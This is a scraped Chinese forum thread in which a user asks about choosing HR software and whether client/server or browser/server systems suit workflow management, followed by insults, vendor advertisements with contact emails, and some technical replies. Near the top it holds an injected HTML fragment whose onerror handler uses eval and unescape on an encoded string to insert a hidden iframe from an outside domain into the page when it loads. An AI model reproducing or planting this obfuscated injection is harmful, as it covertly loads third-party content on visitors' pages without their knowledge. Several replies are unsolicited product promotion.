公司hr选型中遇到的问题
[转贴 2010-04-05 19:40:22]
公司hr选型中遇到的问题
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0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_336_280.html%20width%3D336%20height%3D280%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
现在我有几个疑问c/s和b/s到底有什么区别。还有是不是都能做流程化的管理呢？施特伟说他们的b/s版要二三百万！！难道比sap peoplesoft还要好嘛，说是xx产品？c/s和b/s的架构真的一样，选哪种都无所谓嘛?
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To:香草天空
如果你是男人,我鄙视你.鄙视到极点.
如果你是女人,我则不做评价.
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唉！对于出现这种局面，我只能摇摇头做无可奈何状！只是不知道香草天空你到底是男是女呢？好象{zh0}不男不女才能撇开干系啊！真是无奈啊
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79楼的,你还真搞笑,你也配啊?
搞的自己像是个什么人物一样,对别人鄙来鄙去的.
大家只不过发表一下自已对HR的看法,如果是你心理或是什么地方找不到发泄的地方,艾,也很正常只能说你rpwt,建议你自己回家,对着镜子,随便鄙
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其实HR软件最重要的是实用和稳定，现在的HR软件好的真的不多，好不然各个HR软件厂商可以像微软一样弄一个测试版给用户用一下，让用户来公测。因为他们不敢都是在弄噱头,能骗一个是一个所以广大用户要小心啊。
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楼上的兄弟~~~有点答不对题，但还是谢谢噢
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给你介绍一下我们公司的系统提供参考：
我公司是由臺灣{dy}家軟件上市企業『資通電腦 』投資，資通電腦已經積累了近30年的軟件行業及其服務經驗.目前中國有上海，蘇州，廣州三家分公司，蘇州總部現爲專業的企業人力資源規劃提供産品及顧問導入等xxx解决方案的供應商.我們積累了多個大型企業人力資源系統的專案導入經驗，至今爲止，我們在HR領域已經成功結案多家大型企業企業的人力資源規劃系統，譬如：歐萊雅亞洲工廠,上海廣電, 台積電, 矽品科技, 松下半導體........也期待與貴公司的合作能够帶來更多優良制度，提高貴公司的整理競爭力。
『ARES HCP SYSTEM 』是基礎3-Tier架構，可兩層，三層幷存或單獨使用，爲多國，多集團，多公司，多語言，{bfb}Web-Enabled的系統，特別適合需要進行集中式或分散式管理的制造型企業，下面爲HCP系統一些優秀的功能，請您參考，謝謝!
組織複雜到二廠,三廠,避免重復投資.
² 集中或分散管理,節約資金,提高效率
² 追踪歷史,自動會出現在或以往組織架構圖,輕鬆維護企業組織架構.
KPI(KEY PERFORMANCE INDICATE)和BIS(BUSINESS INTELLIGENCE SYSTEM),輕鬆管理企業.
² 采用ORACLE數據庫，可與ORACLE或SAP ERP連接.
² WEB請假及加班簽核機制.
² Workflow系統整合機制.
² 整合Alert,WF 至Outlook or Notes
² 整合ERP,CRM..etc至單一桌面.
² 雙向訊息整合-(Drill-Down)
² 企業异常狀况綫上通知(e-mail).
² 可設定异常狀况自動處理機制(Alert).
² 自訂簽核流程(Organ).
² 自訂企業日常管理窗體，使用者自訂屏幕字段呈現格式(Folder).
² 各式政府及銀行所需報表及媒體申訴電子文件.
² 系統所有窗體均可抛轉到 excel,窗體內容簽變化,解决User後顧之憂.
² 系統所有設定均參數化,方便用戶維護,避免日後客制,增加企業負擔.
² 具有Mail screen功能,方便傳遞有效信息.
² 支持複雜彈性排班,滿足企業日益增多的班別需求.
² 完善的服務支持.
² ………
同時您可以瀏覽我們的中國網站：
www.areschina.com ,謝謝!
祝你工作愉快.
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B/S 是基于Internet 构建的人力资源规划系统，可以适应集团式企业的统一使用，方便于资源整合,通常叫3-tiers
C/S 是非基于Internet技术，通常叫2-tiers.
如果B/S买到200万的话，除了SAP、Oracle、Peoplesoft，根据我在软件行业的三年了解，还没有一家公司做到此程度。
如果这样讲只有一个可能性：Cityray不想你买B/S的产品，因为他们没有成熟的B/S产品....
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5楼的兄弟，希望你不要在公共场合误导大众。你见过CITYRAY
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5楼的兄弟，希望你不要在公共场合误导大众。你见过CITYRAY的WEB版本了吗？这里是交HR同行朋友的地方。各家HR供应商应该在这里多交流、沟通才对，没有必要敌视对方。群众的眼睛是雪亮的，让消费者来说话是硬道理！
真诚希望我们在这里可以做朋友。想要说别人坏话的请自觉离开为好。
祝大家生意兴隆！
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很高兴见到你这样的言论，更愿意跟你交朋友。
Cityray的全WEB产品我有见过，好像今年元旦左右在苏州有一个产品演示会，在干将路上的某酒店.....
只是做生意重在真诚，据楼主所讲的价格，有点不敢相信，抱着对客户的真诚而发表的意见。故得罪之处还望见谅。
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看看奇正的Ehr软件吧。可以联系我msn:ma751005@hotmail.com
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楼主如果你是在制造业，建议用C/S的＋B/S的混合模式的
如果按你的需求，朗新有现成发V6，基于.Net版本，可以将您公司的成本给降下来，
如果你需要详细了解上海的蔡经理，shsale@longshine.com
因本人在深圳，需果能帮上的地方，也可发给我：szsale@longshine.com
谢谢
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8楼的朋友，看见你的回帖很高兴！目前的B/S基本都没有C/S来得成熟和完善，这个是正常的。C/S已经发展了20-25年了，而B/S呢，才2-3年而已。
但是B/S有着C/S不可替代的特征，所以它是有它的发展空间。
同样反过来讲，C/S也不会马上被B/Sxx替代，因为B/S的安全啦，功能
浏览空间
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